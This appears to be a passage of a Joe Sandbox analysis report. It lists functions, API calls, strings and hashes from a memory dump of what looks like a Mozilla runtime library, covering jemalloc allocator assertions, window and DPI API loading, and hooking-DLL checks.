MOZ_CRASH(), xrefs: 6CA93950
<jemalloc>, xrefs: 6CA93941, 6CA939F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA937BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA93793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA937D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA93559, 6CA9382D, 6CA93848
Compile-time page size does not divide the runtime one., xrefs: 6CA93946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA937A8
MALLOC_OPTIONS, xrefs: 6CA935FE

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: b04339e0bcb9b857e63e03bf2a190b5ad9928646d271215bbcdd8c60717acee5
Instruction ID: ea1179f5ed73cf306a835f4a6a8d8ea87b7e5a65345b6e2d1cbae8acb23ab0b6
Opcode Fuzzy Hash: b04339e0bcb9b857e63e03bf2a190b5ad9928646d271215bbcdd8c60717acee5
Instruction Fuzzy Hash: 6D537A71A167018FC304CF29C545616FBE1BF89328F29C76DE8A99B791D731E881CB81

Function 6CAB55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CA8E1A5), ref: 6CAB5606
LoadLibraryW.KERNEL32(gdi32,?,6CA8E1A5), ref: 6CAB560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CAB5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CAB563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CAB566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CAB567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CAB5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CAB56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CAB56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CAB56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CAB56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CAB5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CAB572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CAB5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CAB5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CAB577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CAB5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CAB57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CAB57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CAB57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CAB57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CAB57FF

Strings

StretchDIBits, xrefs: 6CAB57CC
LoadCursorW, xrefs: 6CAB5774
DeleteObject, xrefs: 6CAB57F9
user32, xrefs: 6CAB5601
gdi32, xrefs: 6CAB560A
FillRect, xrefs: 6CAB5729
RegisterClassW, xrefs: 6CAB56AC
AreDpiAwarenessContextsEqual, xrefs: 6CAB5637
SetWindowLongPtrW, xrefs: 6CAB57B7
MonitorFromWindow, xrefs: 6CAB578D
GetThreadDpiAwarenessContext, xrefs: 6CAB562D
GetWindowDC, xrefs: 6CAB5710
EnableNonClientDpiScaling, xrefs: 6CAB5666
ShowWindow, xrefs: 6CAB56DE
ReleaseDC, xrefs: 6CAB5742
GetMonitorInfoW, xrefs: 6CAB57A2
CreateSolidBrush, xrefs: 6CAB57E4
SetWindowPos, xrefs: 6CAB56F7
LoadIconW, xrefs: 6CAB575B
GetSystemMetricsForDpi, xrefs: 6CAB5677
GetDpiForWindow, xrefs: 6CAB5690
CreateWindowExW, xrefs: 6CAB56C5

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 8f8d34d9b6fa097f2af284ff4951dd2a18a95cbe98cd5ff938fedd045bd199d6
Instruction ID: 5a1f5653cde6190b8fd44fa3aacbf1f93e8a749c17b2935ecca5189711de09b9
Opcode Fuzzy Hash: 8f8d34d9b6fa097f2af284ff4951dd2a18a95cbe98cd5ff938fedd045bd199d6
Instruction Fuzzy Hash: 855146B4B113035FDB055F75DD48A273ABCBB0A645715CA29AA21F3641EF70E8829F70

Function 6CAB34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB3EE2

Part of subcall function 6CAB6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CAB61DD
Part of subcall function 6CAB6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CAB622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB4157

Part of subcall function 6CAB6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAB6250
Part of subcall function 6CAB6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAB4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAB484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAB4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAB4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAB4896
free.MOZGLUE ref: 6CAB489F

Strings

, xrefs: 6CAB4CD2

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 988a5436105d95531d2b9eb4ac70a032bbc40e2e57135fea13f4324f61ff4406
Instruction ID: e04b8a5a345537a1703fcac1813cb418e0b22ea1c486fc25cb33999a00397fc0
Opcode Fuzzy Hash: 988a5436105d95531d2b9eb4ac70a032bbc40e2e57135fea13f4324f61ff4406
Instruction Fuzzy Hash: FDF24A74908B818FC725CF28C18469AFBF5FFC9308F158A5ED99997711DB31A886CB42

Function 6CA664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA66505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA66518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA6652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA6671C
GetCurrentProcess.KERNEL32 ref: 6CA66724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA6672F
GetCurrentProcess.KERNEL32 ref: 6CA66759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA66764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA66A80
GetSystemInfo.KERNEL32(?), ref: 6CA66ABE
__Init_thread_footer.LIBCMT ref: 6CA66AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA66AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA66AF7

Strings

_etoured.dll, xrefs: 6CA664ED
nvd3d9wrap.dll, xrefs: 6CA66500
detoured.dll, xrefs: 6CA664DA
nvdxgiwrap.dll, xrefs: 6CA66513
user32.dll, xrefs: 6CA66526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA66798

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 067be0330831861af6bf2b820cad7a736262ae0aba94a467d567c22c12e89344
Instruction ID: 1063b1bc7cc2997dd6e0ce5c62f43840f5920736de37af142d7442f912a922c2
Opcode Fuzzy Hash: 067be0330831861af6bf2b820cad7a736262ae0aba94a467d567c22c12e89344
Instruction Fuzzy Hash: D1F1E47090521A9FDB20CF66CD48BDAB7B5AF06318F188299D819E3B41D731AEC5CF91

Function 6CA860A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CADE7DC), ref: 6CA860C9
LeaveCriticalSection.KERNEL32(6CADE7DC), ref: 6CA8610D
EnterCriticalSection.KERNEL32(?), ref: 6CA8618C
LeaveCriticalSection.KERNEL32(?), ref: 6CA861F9

Strings

MOZ_CRASH(), xrefs: 6CA86AB8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA86B6A
<jemalloc>, xrefs: 6CA86AA9, 6CA86B59
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA86BC7, 6CA86F97, 6CA86FB2
Compile-time page size does not divide the runtime one., xrefs: 6CA86AAE
MALLOC_OPTIONS, xrefs: 6CA86888

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 59b385077bf5d9b05bb0c582495477697dbc6a1b7190c3d615ea7395b4a52dbb
Instruction ID: 902f887d4e8b08845670d5b1af71e1ba51caf85c745594d4dc7026cebc8cc711
Opcode Fuzzy Hash: 59b385077bf5d9b05bb0c582495477697dbc6a1b7190c3d615ea7395b4a52dbb
Instruction Fuzzy Hash: 3BA29B71A267018FE708CF18C544715BBF2FB85728F29C66DE8698BB91D771E881CB81

Function 6CABC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CABC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CABC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CABC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CABC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CABC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CABCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CABCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CABDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CABDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CABDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CABDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CABDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CABE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CABE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CABE472

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 04d8e4b2467d243fe02d305c8ae67c2d7dce7dd5a50b9c1f0f84e08b068cb4be
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 73339E71E0021ACFCB04CFA8C880AADBBF6FF49314F294269D955BB755D731A985CB90

Function 6CA6FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CADE7B8), ref: 6CA6FF81
LeaveCriticalSection.KERNEL32(6CADE7B8), ref: 6CA7022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA70240
EnterCriticalSection.KERNEL32(6CADE768), ref: 6CA7025B
LeaveCriticalSection.KERNEL32(6CADE768), ref: 6CA7027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA70D67, 6CA70D7B, 6CA70DAC
<jemalloc>, xrefs: 6CA70D62, 6CA70D76, 6CA70DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA6FE99, 6CA6FEB7, 6CA6FED3, 6CA70DB8, 6CA70DD3, 6CA719B4

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 113ed3bc98fce374d64dfecb08f623139dc982e06f4375e4197a9ea81945989f
Instruction ID: 5025fdc07f3dc6961776a84b2638b3f57a17e149957e6e272515773483a1e5a0
Opcode Fuzzy Hash: 113ed3bc98fce374d64dfecb08f623139dc982e06f4375e4197a9ea81945989f
Instruction Fuzzy Hash: 05C2F175A057418FD724CF28C990716BBE1BF85328F28C66CE4A98B7D5D732E881CB91

Function 6CABE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CABE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CABEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CABEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CABEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CABF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CABF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAC0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAC0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC0ED4

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 09cc065e84522814e87eb3c6d4fad0b0bbcc7b28e3adabdb23258c20804bd828
Instruction ID: d2ce1a956c4ac63a16c4b33408956083c479f094d944218853488c4438906cb8
Opcode Fuzzy Hash: 09cc065e84522814e87eb3c6d4fad0b0bbcc7b28e3adabdb23258c20804bd828
Instruction Fuzzy Hash: 95637E75E0025A8FCB04CFA8C8906DDFBB2FF89310F298269D955BB755D730A985CB90

Function 6CA93E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CAB7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA93E7D,?,?,?,6CA93E7D,?,?), ref: 6CAB777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CA93F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA93F5C
VerSetConditionMask.NTDLL ref: 6CA93F8D
VerSetConditionMask.NTDLL ref: 6CA93F99
VerSetConditionMask.NTDLL ref: 6CA93FA0
VerSetConditionMask.NTDLL ref: 6CA93FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA93FB4

Strings

nvinit.dll, xrefs: 6CA94479
nvd3d9wrap.dll, xrefs: 6CA94466

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: d68a671900b53e798fdbf895f24592585424da7b189e7b4785bf3e6cd58f08fe
Instruction ID: 888a3119f089eb469553899b7a2d6994b0b0e7536ef01d80028e13d175213173
Opcode Fuzzy Hash: d68a671900b53e798fdbf895f24592585424da7b189e7b4785bf3e6cd58f08fe
Instruction Fuzzy Hash: 0552E071610B499FD714DF24C980AABB7E9EF85208F04492DE4A78BB42DB34F949CB60

Function 6CA7ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA7EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA7EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA81695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA81770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA81A3E

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 5d235bfa6d8533c8503bbe3df732f607d988843460fcfae26db9a0273daaaea5
Instruction ID: c13a3b6dbce2933c81122e40e31994e3bb3fe508e93844badc04cf9307fe169f
Opcode Fuzzy Hash: 5d235bfa6d8533c8503bbe3df732f607d988843460fcfae26db9a0273daaaea5
Instruction Fuzzy Hash: 7AB33B71E01219CFCB24CFA9C890AADB7B2FF49304F1982A9D559AB745D730AD85CF90

Function 6CA6FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CADE7B8), ref: 6CA6FF81
LeaveCriticalSection.KERNEL32(6CADE7B8), ref: 6CA7022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA70240
EnterCriticalSection.KERNEL32(6CADE768), ref: 6CA7025B
LeaveCriticalSection.KERNEL32(6CADE768), ref: 6CA7027B

Strings

MOZ_CRASH(), xrefs: 6CA70CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA6FE99, 6CA6FEB7, 6CA6FED3, 6CA70DB8, 6CA70DD3, 6CA719B4, 6CA71A10

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 223874012198da10dbb4faf928ebba0aa3f4766dbb5976beecfffb4b52c88c7d
Instruction ID: 505a157a196d7fbf95a12c906cdca03f0ea3815a4985e51252f7f781b3211735
Opcode Fuzzy Hash: 223874012198da10dbb4faf928ebba0aa3f4766dbb5976beecfffb4b52c88c7d
Instruction Fuzzy Hash: ADB2E1757057418FD728CF28C590726BBE1BF85328F28C66CE96A8BB95C731E881CB51

Function 6CAA5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6CAA606D
data, xrefs: 6CAA6131
expected a Time entry, xrefs: 6CAA5CB6
name, xrefs: 6CAA5E79, 6CAA5E8F
ProfileBuffer parse error: %s, xrefs: 6CAA5AC8, 6CAA5CBB
expected a Count entry, xrefs: 6CAA5AC3

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: ee8e168717e0fd68aa1b034932b55cd596eeb8e4b6d9db52e53cfd98d332e3f8
Instruction ID: 0a76098205724c51155d789e83404df8d88b3af60817b9d9b372ae70085ab9ba
